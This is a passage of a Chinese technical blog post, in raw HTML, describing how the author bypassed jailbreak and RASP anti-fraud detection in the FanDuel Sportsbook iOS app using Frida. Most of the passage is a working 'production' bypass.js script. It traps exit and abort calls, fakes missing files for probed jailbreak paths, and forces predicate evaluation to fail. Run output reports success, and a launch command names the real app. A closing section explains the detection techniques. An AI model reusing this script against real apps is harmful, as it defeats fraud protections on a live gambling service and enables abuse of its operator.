15px;"><span leaf="">扫 Foundation 的 47060 个符号，</span><strong><span leaf="">没有一个包含</span><code><span leaf="">_predicateSecurityAction</span></code></strong><span leaf="">。因为它是 ObjC class-method IMP，</span><strong><span leaf="">不是</span></strong><span leaf="">通过 nlist 导出的 C 符号。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct194k" style="font-size: 15px;"><span leaf="">11.3</span><del><code><span leaf="">DebugSymbol.fromName(&#39;+[_NSPredicateUtilities _predicateSecurityAction]&#39;)</span></code></del></span></h3><p><span mpa-font-style="moxxn7ct1op9" style="font-size: 15px;"><span leaf="">Frida 能在 backtrace 里解析出这个符号名，所以理论上</span><code><span leaf="">DebugSymbol.fromName</span></code><span leaf="">应该也能。</span><strong><span leaf="">但</span></strong><code><span leaf="">fromName</span></code><span leaf="">会全盘扫所有已加载模块的符号（47k Foundation + 所有其它模块），加上 ObjC runtime 反查，</span><strong><span leaf="">足够久让 agent load 超时，直接</span><code><span leaf="">TransportError: connection closed</span></code></strong><span leaf="">。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct33d" style="font-size: 15px;"><span leaf="">11.4 ✓ Runtime C API 直调</span></span></h3><p><span leaf="" mpa-font-style="moxxn7cthvd" style="font-size: 15px;">最后用最基础的 ObjC runtime C API：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1icg"><span leaf=""><span class="code-snippet__keyword">const</span> lookUp = <span class="code-snippet__keyword">new</span> NativeFunction(</span><span leaf=""><br/></span><span leaf="">    Module.findExportByName(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;objc_lookUpClass&#39;</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> sel_registerName = <span class="code-snippet__keyword">new</span> NativeFunction(</span><span leaf=""><br/></span><span leaf="">    Module.findExportByName(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;sel_registerName&#39;</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> class_getInstanceMethod = <span class="code-snippet__keyword">new</span> NativeFunction(</span><span leaf=""><br/></span><span leaf="">    Module.findExportByName(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;class_getInstanceMethod&#39;</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> method_getImplementation = <span class="code-snippet__keyword">new</span> NativeFunction(</span><span leaf=""><br/></span><span leaf="">    Module.findExportByName(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;method_getImplementation&#39;</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> cls = lookUp(Memory.allocUtf8String(<span class="code-snippet__string">&#39;_NSPredicateUtilities&#39;</span>));  <span class="code-snippet__comment">// ✓ 找到了</span></span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ctm7f" style="font-size: 15px;">但是：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct17tr"><span leaf=""><span class="code-snippet__keyword">const</span> method = class_getClassMethod(cls, sel_registerName(...<span class="code-snippet__string">&#39;_predicateSecurityAction&#39;</span>...));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// method.isNull() === true    ← 取不到</span></span></code></pre></p><p><span mpa-font-style="moxxn7ct53f" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="moxxn7ct53f" style="font-size: 15px;"><code><span leaf="">+</span></code><span leaf="">方法要从 metaclass 查，但这个类的</span><code><span leaf="">_predicateSecurityAction</span></code><span leaf="">很可能并没有注册成标准 class method（或被隐藏）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctcbr" style="font-size: 15px;"><span leaf="">11.5 ✓✓ 终极方案：上移一层，hook caller</span></span></h3><p><span mpa-font-style="moxxn7ct1344" style="font-size: 15px;"><span leaf="">既然目标 IMP 找不到，那就 hook</span><strong><span leaf="">调它的那个人</span></strong><span leaf="">：</span><code><span leaf="">-[NSComparisonPredicate evaluateWithObject:substitutionVariables:]</span></code><span leaf="">。这个方法是公开的 instance method，用同样的 runtime API 立刻拿到：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1fta"><span leaf=""><span class="code-snippet__keyword">const</span> cls = <span class="code-snippet__title">lookUp</span>(<span class="code-snippet__title">Memory</span>.<span class="code-snippet__title">allocUtf8String</span>(<span class="code-snippet__string">&#39;NSComparisonPredicate&#39;</span>));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> sel = <span class="code-snippet__title">sel_registerName</span>(<span class="code-snippet__title">Memory</span>.<span class="code-snippet__title">allocUtf8String</span>(<span class="code-snippet__string">&#39;evaluateWithObject:substitutionVariables:&#39;</span>));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> method = <span class="code-snippet__title">class_getInstanceMethod</span>(cls, sel);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> imp = <span class="code-snippet__title">method_getImplementation</span>(method);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">replace</span>(imp, <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeCallback</span>(<span class="code-snippet__keyword">function</span>(<span class="code-snippet__params">self, _sel, obj, vars</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;     <span class="code-snippet__comment">// NO - predicate 永远不匹配</span></span><span leaf=""><br/></span><span leaf="">}, <span class="code-snippet__string">&#39;bool&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>]));</span></code></pre></p><p><span mpa-font-style="moxxn7ctrni" style="font-size: 15px;"><span leaf="">强制 predicate evaluate 返回 NO →</span><code><span leaf="">_filterObjectsUsingPredicate</span></code><span leaf="">拿到空数组 →</span><strong><code><span leaf="">NSKeyPathExpression/NSFunctionExpression</span></code><span leaf="">根本不被求值</span></strong><span leaf="">→</span><strong><code><span leaf="">_predicateSecurityAction</span></code><span leaf="">从源头就到不了</span></strong><span leaf="">。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">12. 最终突破：短路 NSComparisonPredicate</span></strong></p></div></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="moxxn7ct1lpq" style="font-size: 15px;">跑起来：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctzp4"><span leaf="">[JB]</span><span leaf="">termination</span><span leaf="">primitives</span><span leaf="">trapped</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">RASP</span><span leaf="">path</span><span leaf="">probes</span><span leaf="">blocked</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">-</span><span leaf="">[NSComparisonPredicate evaluateWithObject:substitutionVariables:]</span><span leaf="">-</span><span leaf="">&gt; </span><span leaf="">NO</span><span leaf=""> @ <span class="code-snippet__number">0</span></span><span leaf="">x1b8429c88</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">FINAL</span><span leaf="">bypass</span><span leaf="">armed</span><span leaf=""><br/></span><span leaf="">[*]</span><span leaf="">resumed</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">cores</span><span leaf="">/</span><span leaf="">.safe_mode</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">var</span><span leaf="">/</span><span leaf="">jb</span><span leaf="">/</span><span leaf="">usr</span><span leaf="">/</span><span leaf="">lib</span><span leaf="">/</span><span leaf="">TweakLoader</span><span leaf="">.dylib</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">var</span><span leaf="">/</span><span leaf="">jb</span><span leaf="">/</span><span leaf="">usr</span><span leaf="">/</span><span leaf="">lib</span><span leaf="">/</span><span leaf="">TweakInject</span><span leaf="">.dylib</span><span leaf=""><br/></span><span leaf="">[=]</span><span leaf="">ALIVE</span><span leaf="">after</span><span leaf=""><span class="code-snippet__number">60.0s</span>  </span><span leaf="">---</span><span leaf="">BYPASS</span><span leaf="">SUCCEEDED</span></code></pre></p><p><span mpa-font-style="moxxn7ct1j7o" style="font-size: 15px;"><strong><span leaf="">60 秒稳定存活</span></strong><span leaf="">，</span><code><span leaf="">BLOCKED abort</span></code><span leaf="">一次也没触发。搞定。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">13. 完整绕过方案（生产脚本）</span></strong></p></div></div></div></div></div></div></div></div></div><p><span mpa-font-style="moxxn7ctc4m" style="font-size: 15px;"><code><span leaf="">bypass.js</span></code><span leaf="">核心三件事，总共 3 个代码块，约 50 行有效逻辑：</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctpl8" style="font-size: 15px;"><span leaf="">13.1 Trap abort 家族（保险丝）</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctn4q"><span leaf=""><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">trapAndPark</span>(<span class="code-snippet__params">sym</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> p = <span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, sym);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!p) <span class="code-snippet__keyword">return</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">attach</span>(p, {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">onEnter</span>(<span class="code-snippet__params">args</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;BLOCKED &#39;</span> + sym);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// Thread.sleep 永久 park 当前线程；不 return，不改写原函数</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> (<span class="code-snippet__literal">true</span>) <span class="code-snippet__title">Thread</span>.<span class="code-snippet__title">sleep</span>(<span class="code-snippet__number">3600</span>);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__string">&#39;exit&#39;</span>, <span class="code-snippet__string">&#39;_exit&#39;</span>, <span class="code-snippet__string">&#39;_Exit&#39;</span>, <span class="code-snippet__string">&#39;abort&#39;</span>, <span class="code-snippet__string">&#39;abort_with_reason&#39;</span>, <span class="code-snippet__string">&#39;abort_with_payload&#39;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;raise&#39;</span>, <span class="code-snippet__string">&#39;pthread_kill&#39;</span>, <span class="code-snippet__string">&#39;pthread_exit&#39;</span>].<span class="code-snippet__title">forEach</span>(trapAndPark);</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1db8" style="font-size: 15px;"><span leaf="">13.2 Block 三条 RASP 路径探测</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct13tv"><span leaf=""><span class="code-snippet__keyword">const</span> <span class="code-snippet__variable">RASP_PATHS</span> = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">Set</span>([</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;/cores/.safe_mode&#39;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;/var/jb/usr/lib/TweakLoader.dylib&#39;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#39;/var/jb/usr/lib/TweakInject.dylib&#39;</span>,</span><span leaf=""><br/></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__string">&#39;access&#39;</span>, <span class="code-snippet__string">&#39;faccessat&#39;</span>, <span class="code-snippet__string">&#39;stat&#39;</span>, <span class="code-snippet__string">&#39;lstat&#39;</span>, <span class="code-snippet__string">&#39;fstatat&#39;</span>, <span class="code-snippet__string">&#39;stat64&#39;</span>, <span class="code-snippet__string">&#39;lstat64&#39;</span>]</span><span leaf=""><br/></span><span leaf="">.<span class="code-snippet__title">forEach</span>(</span><span leaf=""><span class="code-snippet__params">name</span> =&gt;</span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> p = <span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, name);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!p) <span class="code-snippet__keyword">return</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">attach</span>(p, {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">onEnter</span>(<span class="code-snippet__params">args</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> path = (name === <span class="code-snippet__string">&#39;fstatat&#39;</span> || name === <span class="code-snippet__string">&#39;faccessat&#39;</span></span><span leaf=""><br/></span><span leaf="">                          ? args[<span class="code-snippet__number">1</span>] : args[<span class="code-snippet__number">0</span>]).<span class="code-snippet__title">readCString</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">this</span>.</span><span leaf="">blocked</span><span leaf=""> = path &amp;&amp; <span class="code-snippet__variable">RASP_PATHS</span>.<span class="code-snippet__title">has</span>(path);</span><span leaf=""><br/></span><span leaf="">        },</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">onLeave</span>(<span class="code-snippet__params">retval</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!<span class="code-snippet__variable">this</span>.</span><span leaf="">blocked</span><span leaf="">) <span class="code-snippet__keyword">return</span>;</span><span leaf=""><br/></span><span leaf="">            retval.<span class="code-snippet__title">replace</span>(<span class="code-snippet__title">ptr</span>(<span class="code-snippet__string">&#39;-1&#39;</span>));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">__error</span>().<span class="code-snippet__title">writeInt</span>(<span class="code-snippet__number">2</span>);   <span class="code-snippet__comment">// errno = ENOENT</span></span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span leaf="">});</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctqwc" style="font-size: 15px;"><span leaf="">13.3 短路</span><code><span leaf="">-[NSComparisonPredicate evaluate...]</span></code></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1vqg"><span leaf=""><span class="code-snippet__keyword">const</span> lookUp = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeFunction</span>(<span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;objc_lookUpClass&#39;</span>), <span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> selReg = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeFunction</span>(<span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;sel_registerName&#39;</span>), <span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> classGetIM = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeFunction</span>(<span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;class_getInstanceMethod&#39;</span>), <span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>,<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> methGetImp = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeFunction</span>(<span class="code-snippet__title">Module</span>.<span class="code-snippet__title">findExportByName</span>(<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#39;method_getImplementation&#39;</span>), <span class="code-snippet__string">&#39;pointer&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>]);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> cls = <span class="code-snippet__title">lookUp</span>(<span class="code-snippet__title">Memory</span>.<span class="code-snippet__title">allocUtf8String</span>(<span class="code-snippet__string">&#39;NSComparisonPredicate&#39;</span>));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> sel = <span class="code-snippet__title">selReg</span>(<span class="code-snippet__title">Memory</span>.<span class="code-snippet__title">allocUtf8String</span>(<span class="code-snippet__string">&#39;evaluateWithObject:substitutionVariables:&#39;</span>));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">const</span> imp = <span class="code-snippet__title">methGetImp</span>(<span class="code-snippet__title">classGetIM</span>(cls, sel));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">replace</span>(imp, <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">NativeCallback</span>(<span class="code-snippet__keyword">function</span> (<span class="code-snippet__params">self, _sel, obj, vars</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;   <span class="code-snippet__comment">// 永远 NO</span></span><span leaf=""><br/></span><span leaf="">}, <span class="code-snippet__string">&#39;bool&#39;</span>, [<span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>, <span class="code-snippet__string">&#39;pointer&#39;</span>]));</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct12q1" style="font-size: 15px;"><span leaf="">13.4 启动</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct7le"><span leaf="">frida -H <span class="code-snippet__number">127.0.0.1</span> -f com.fanduel.sportsbook -l bypass.js -o <span class="code-snippet__built_in">log</span>.txt</span></code></pre></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">14. 技术教训与总结</span></strong></p></div></div></div></div></div></div></div></div></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctlys" style="font-size: 15px;"><span leaf="">14.1 Frida 用法层面</span></span></h3><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4839948783610755" data-s="300,640" data-type="png" data-w="1562" type="block" data-imgfileid="311131072" src="https://wechat2rss.xlab.app/img-proxy/?k=8c15b332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K29bohLOJoUVkFLkSxJVzbt8Eu8KyvIbI3367iclibRIqTmD2pwGHfRNB8UH8qFZvAfO2RM5JQs9bthDEBxyy8MAibJzwxia68g0ib8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctlys" style="font-size: 15px;"><span leaf="">14.2 iOS 16 反越狱检测手法层面</span></span></h3><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><strong mpa-font-style="moxxn7ctklm" style="font-size: 15px;"><span leaf="">路径探测依然是基础</span></strong><p><span mpa-font-style="moxxn7cto5m" style="font-size: 15px;"><span leaf="">palera1n rootless 最脆弱的暴露点是</span><code><span leaf="">/var/jb/usr/lib/TweakLoader.dylib</span></code><span leaf="">和</span><code><span leaf="">TweakInject.dylib</span></code><span leaf="">。大多数 RASP 会先</span><code><span leaf="">access(W_OK)</span></code><span leaf="">看这几个。</span></span></p></li><li><strong mpa-font-style="moxxn7ct17oq" style="font-size: 15px;"><span leaf="">&#34;借刀杀人&#34; 式检测</span></strong><p><span mpa-font-style="moxxn7ct23zo" style="font-size: 15px;"><span leaf="">不直接调</span><code><span leaf="">exit()</span></code><span leaf="">，而是检测到越狱后构造一个会让</span><strong><span leaf="">iOS 自己的 NSPredicate KVC 安全校验</span></strong><span leaf="">触发</span><code><span leaf="">abort</span></code><span leaf="">的对象（塞到 framework bundle 元数据里）。从崩溃日志上看像 Apple 原生机制崩，反欺诈厂商有一定卸责性 + 抗分析价值。</span></span></p></li><li><strong mpa-font-style="moxxn7ctx5z" style="font-size: 15px;"><span leaf="">dyld 初始化阶段是关键窗口</span></strong><p><span mpa-font-style="moxxn7ctzui" style="font-size: 15px;"><code><span leaf="">ServiceCore!initialize_framework_bundles</span></code><span leaf="">在所有</span><code><span leaf="">__init_offsets</span></code><span leaf="">之前跑，通过 NSPredicate 过滤所有已加载 framework。这是 iOS 16 新增的预处理步骤，它的副作用（+ app 特定数据）形成了这次的 kill 路径。</span></span></p></li><li><strong mpa-font-style="moxxn7ct1sza" style="font-size: 15px;"><code><span leaf="">_NSPredicateUtilities _predicateSecurityAction</span></code></strong><p><span leaf="" mpa-font-style="moxxn7ct1oqx" style="font-size: 15px;">是 iOS 16+ 的内置安全动作，遇到任何它认为&#34;不受信任的 KVC 表达式&#34;就无条件 abort。对反欺诈来说是天然的&#34;借力点&#34;。</span></p></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1yee" style="font-size: 15px;"><span leaf="">14.3 调试方法论</span></span></h3><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><strong mpa-font-style="moxxn7ct1368" style="font-size: 15px;"><span leaf="">永远先跑对照组</span></strong><p><span leaf="" mpa-font-style="moxxn7ctm5x" style="font-size: 15px;">（空脚本 / 只装异常处理器）。这次要是一开始就 baseline 比较，至少能省 50% 的时间 —— 我花了太久在&#34;外部 SIGKILL&#34; 的错误假设上。</span></p></li><li><strong mpa-font-style="moxxn7ctnog" style="font-size: 15px;"><code><span leaf="">Process.setExceptionHandler</span></code><span leaf="">是神器</span></strong><p><span leaf="" mpa-font-style="moxxn7ct1nf6" style="font-size: 15px;">无论 BRK / UDF / SIGSEGV / SIGILL，都能捕获 + 拿 PC 和上下文。几次关键跳跃都靠它。</span></p></li><li><strong mpa-font-style="moxxn7ct13yv" style="font-size: 15px;"><span leaf="">抓 backtrace 就对了</span></strong><p><span mpa-font-style="moxxn7ct17oo" style="font-size: 15px;"><code><span leaf="">trapAndPark</span></code><span 